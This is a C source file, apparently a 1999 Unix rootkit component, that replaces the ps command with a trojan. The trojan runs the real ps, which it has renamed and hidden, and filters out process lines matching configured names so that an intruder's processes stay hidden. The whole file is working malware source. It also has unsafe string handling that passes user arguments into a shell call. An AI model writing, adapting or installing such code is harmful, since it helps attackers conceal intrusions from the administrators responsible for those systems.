/*
 *  fake_ps.c
 *  Set the path to original ps, set the environment to withdraw,
 *  compile, resize and enjoy. 
 *
 *  Note: Never give PS more than 15 bytes of path
 *  funny things will happen if you exceed this limit.
 *  
 *  Author: telar (telar@mail.com)   21/12 - 1999  
 */
#include <stdio.h>
#include <string.h>

#define PR  "h2so4"        /* Name of hidden ps  */
#define PS   "/usr/bin/h2so4"    /* full path     */
#define ERR  "/tmp/.problem"      /* error handling  */
#define TMP  "/tmp/.tmp"      /* temporary file   */
#define nr  4        /* no. lines in lns  */
#define OFFSET  100        /* for a safer world  */

char *lns[nr] = {        /* fill in what you'd-  */
       "kenny",          /* like to be removed  */
       "kyle",
       "eric",
       "stan",
       }; 

  char *s;
  int i,c,k;
  FILE *ep,*op;
  char bufa[12024];
  char bufb[12024];
  char bufc[12024];

int check(char *b)
{
    for(i=0;i<nr;i++) {
  if((s=strstr(b,lns[i]))!=NULL) {
      return(-1);
      }
   }
  return(0);
}
        

int fixps(int z)
{       
  while(fgets(bufc,z+OFFSET,ep)) {
         if(!(s=strstr(bufc,PS))) {
            if(!(s=strstr(bufc,PR))) {
               if(!(check(bufc))) {
                   printf("%s",bufc); }

                }
             }
          }
 return;
}
    
main(int argc, char *argv[])
{

       ep=fopen(TMP,"w");
        fputs("\n",ep);
      if (argc>1) {
          strcat(bufa,PS);
          strcat(bufb,"");
            for(i=1;i<argc;i++) {
         strcat(bufb," ");
         strcat(bufa," ");
         strcat(bufb,argv[i]);  
                     strcat(bufa,argv[i]);
                    }
                   }
       if (argc<=1) {
        strcat(bufa,PS);
        strcat(bufb,""); }
          fclose(ep);
           strcat(bufa," >> ");
    strcat(bufa,TMP);
                system(bufa);
                
  if ((ep=fopen(TMP,"r"))==NULL) {
  op=fopen(ERR,"a");
    fprintf(op,"\nProblem occured, trojan dumped:\n%s execved by %s 
    doing %s",PS,getlogin(),bufb);
   fclose(op);
   execv(PS,bufb);
  exit(0);
  }
  
    while ((c=fgetc(ep))!='\n') {   
  k++; }
    
     fixps(k);     
    fclose(ep);
  remove(TMP);
}